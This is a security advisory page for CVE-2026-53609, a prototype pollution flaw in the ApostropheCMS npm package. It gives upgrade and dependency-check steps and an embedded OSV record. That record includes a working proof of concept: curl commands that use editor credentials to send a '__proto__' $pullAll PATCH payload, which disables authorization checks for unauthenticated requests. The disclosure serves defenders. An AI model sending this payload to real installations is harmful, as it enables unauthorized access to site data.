CVE-2026-53609: Apostrophe Apostrophe Has Server-Side Prototype Pollution Vulnerability
CRITICALCVE-2026-53609 is a CRITICAL (CVSS 9.1) apostrophe has server-side prototype pollution vulnerability (CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')) affecting Apostrophe libraries in the npm ecosystem. The issue involves apostrophe has server-side prototype pollution in apos.util.set via patch operators that leads to process-wide authorization bypass. Remediation is available by upgrading affected packages to version 4.31.0.
CVE-2026-53609 at a Glance
Security Impact
CVSS: 9.1
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:L).
How to Fix CVE-2026-53609
To remediate this vulnerability, upgrade all affected Apostrophe dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
npm install apostrophe@4.31.0
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls apostrophe
How to Check if You Are Affected
To determine whether your Node.js application is affected by CVE-2026-53609, inspect your project dependencies using npm:
npm ls apostrophe
Analyze the terminal output to locate any version of Apostrophe in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 4.31.0), your application is affected.
Note: The npm ls apostrophe command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution'), where the product receives input from an upstream component that specifies attributes that are to be initialized or updated in an object, but it does not properly control modifications of attributes of the object prototype. In Apostrophe, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-53609 Affected Apostrophe Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
apostrophe
|
npm |
< 4.31.0
|
4.31.0
|
References
Frequently Asked Questions
What is CVE-2026-53609?
Which Apostrophe versions are affected?
What version fixes CVE-2026-53609?
Is apostrophe affected?
What is the CVSS score of CVE-2026-53609?
What CWE is associated with CVE-2026-53609?
How can I check npm dependencies for CVE-2026-53609?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-6h5j-32cf-4253",
"modified" : "2026-07-31T21:49:25Z",
"published" : "2026-07-31T21:49:25Z",
"aliases" : [ "CVE-2026-53609" ],
"summary" : "Apostrophe has Server-Side Prototype Pollution in apos.util.set via patch operators that leads to process-wide authorization bypass",
"details" : "<img width=\"1919\" height=\"1046\" alt=\"proto\" src=\"https://github.com/user-attachments/assets/c5c69718-6448-448d-b64b-e3db41ab6ff6\" />\n\n## Summary\n\n`apos.util.set()` traverses dot-notation paths without sanitizing `__proto__`, allowing an authenticated editor to write arbitrary values to `Object.prototype` via the `$pullAll` patch operator.\n\nA confirmed gadget in `publicApiCheck()` causes this to bypass authorization on all piece-type REST API endpoints for every subsequent unauthenticated request, for the lifetime of the Node.js process.\n\n---\n\n## Details\n\n### Root Cause — `apos.util.set()` (`modules/@apostrophecms/util/index.js` ~line 800)\n\nThe function splits a dot-notation path and traverses properties without rejecting `__proto__`, `constructor`, or `prototype`:\n\n```js\nset(o, path, v) {\n path = path.split('.');\n for (i = 0; i < path.length - 1; i++) {\n o = o[path[i]]; // when path[i] === '__proto__', o becomes Object.prototype\n }\n o[path[i]] = v; // mutates Object.prototype\n}\n```\n\n### Source — `implementPatchOperators()` (`modules/@apostrophecms/schema/index.js` ~line 1737)\n\nUser-controlled keys from the `$pullAll` operator are passed directly to `apos.util.set()`:\n\n```js\n_.each(patch.$pullAll, function(val, key) {\n cloneOriginalBase(key); // uses _.has (hasOwnProperty)\n self.apos.util.set(patch, key, ...); // key is fully attacker-controlled\n});\n```\n\n`cloneOriginalBase()` does not sanitize `__proto__` because `_.has()` performs an own-property check. Since `__proto__` is inherited rather than an own property, the clone step is skipped and execution falls through to `apos.util.set()`.\n\nThe same unsanitized call also appears for direct dot-notation keys in the PATCH body (~line 1811), providing a second independent entry point.\n\n---\n\n### Gadget — `publicApiCheck()` (`modules/@apostrophecms/piece-type/index.js` ~line 1148)\n\n```js\npublicApiCheck(req) {\n if (!self.options.publicApiProjection) {\n if (!self.canAccessApi(req)) {\n throw self.apos.error('notfound');\n }\n }\n}\n```\n\nOnce `Object.prototype.publicApiProjection` is set to any truthy value (for example `[]`), every module instance inherits it.\n\nBecause JavaScript property lookup resolves inherited properties from `Object.prototype`, the condition:\n\n```js\n!self.options.publicApiProjection\n```\n\nevaluates to `false` for all modules.\n\nAs a result, the authorization check is skipped for every subsequent request handled by the process.\n\n---\n\n## Proof of Concept\n\n**Environment:** ApostropheCMS v4.30.0, Node.js, MongoDB\n\n**Prerequisites:** Editor-level credentials\n\n### Step 1 — Confirm Endpoint Is Protected (Unauthenticated)\n\n```bash\ncurl -s http://localhost:3000/api/v1/@apostrophecms/user\n```\n\nResponse:\n\n```json\n{\"name\":\"notfound\",\"data\":{},\"message\":\"notfound\"}\n```\n\n---\n\n### Step 2 — Obtain Editor Token\n\n```bash\nTOKEN=$(curl -s -X POST http://localhost:3000/api/v1/@apostrophecms/login/login \\\n -H \"Content-Type: application/json\" \\\n -d '{\"username\":\"editor\",\"password\":\"...\"}' \\\n | python3 -c \"import sys,json; print(json.load(sys.stdin)['token'])\")\n```\n\n---\n\n### Step 3 — Poison `Object.prototype` via `$pullAll`\n\n```bash\ncurl -X PATCH \"http://localhost:3000/api/v1/@apostrophecms/global/{docId}:en:draft\" \\\n -H \"Authorization: Bearer $TOKEN\" \\\n -H \"Content-Type: application/json\" \\\n -H \"Cookie: apos-testapp.csrf=csrf\" \\\n -H \"X-XSRF-TOKEN: csrf\" \\\n -d '{\"$pullAll\":{\"__proto__.publicApiProjection\":[]}}'\n```\n\nResponse:\n\n```http\nHTTP/1.1 200 OK\n```\n\n---\n\n### Step 4 — Authorization Bypass Confirmed (Unauthenticated)\n\n```bash\ncurl -s http://localhost:3000/api/v1/@apostrophecms/user\n```\n\nResponse:\n\n```json\n{\"pages\":0,\"currentPage\":1,\"results\":[]}\n```\n\nThe endpoint now returns a valid paginated response instead of `notfound`.\n\nNo credentials are supplied.\n\nExecution passes `publicApiCheck()` and reaches query processing. The empty result set reflects document-level visibility filtering; the authorization gate itself has been bypassed.\n\n### Cleanup\n\nThe pollution persists until the Node.js process is restarted.\n\n---\n\n## Impact\n\n### Vulnerability Type\n\n**Server-Side Prototype Pollution leading to Authorization Bypass** (CWE-1321)\n\n### Who Is Impacted\n\nAny ApostropheCMS installation where at least one editor-level account exists.\n\nThis is the default configuration for multi-user CMS deployments.\n\n### Security Impact\n\nA single PATCH request from an editor permanently modifies authorization behavior for the entire Node.js process.\n\nAll subsequent unauthenticated requests to piece-type REST API endpoints bypass `publicApiCheck()`.\n\nVerified affected endpoints include:\n\n- `@apostrophecms/user`\n- `@apostrophecms/global`\n\nBased on the shared authorization implementation, other piece-type REST endpoints appear similarly affected.\n\nThe bypass affects every unauthenticated visitor until the server is restarted.\n\n---\n\n## Suggested Fix\n\nReject dangerous prototype-related path segments before traversal:\n\n```js\nif (\n p === '__proto__' ||\n p === 'constructor' ||\n p === 'prototype'\n) {\n return;\n}\n```\n\nApply the same validation both:\n\n1. Inside `apos.util.set()`\n2. Before passing user-controlled keys into `apos.util.set()` from `implementPatchOperators()`\n\n---",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:L"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "apostrophe"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "4.31.0"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 4.30.0"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-6h5j-32cf-4253"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-53609"
}, {
"type" : "WEB",
"url" : "https://github.com/apostrophecms/apostrophe/pull/5464"
}, {
"type" : "WEB",
"url" : "https://github.com/apostrophecms/apostrophe/commit/5a88e9630cbbdde33154ef8abe7557ddf7be418b"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/apostrophecms/apostrophe"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-1321" ],
"severity" : "CRITICAL",
"github_reviewed" : true,
"github_reviewed_at" : "2026-07-31T21:49:25Z",
"nvd_published_at" : "2026-06-12T22:16:52Z"
}
}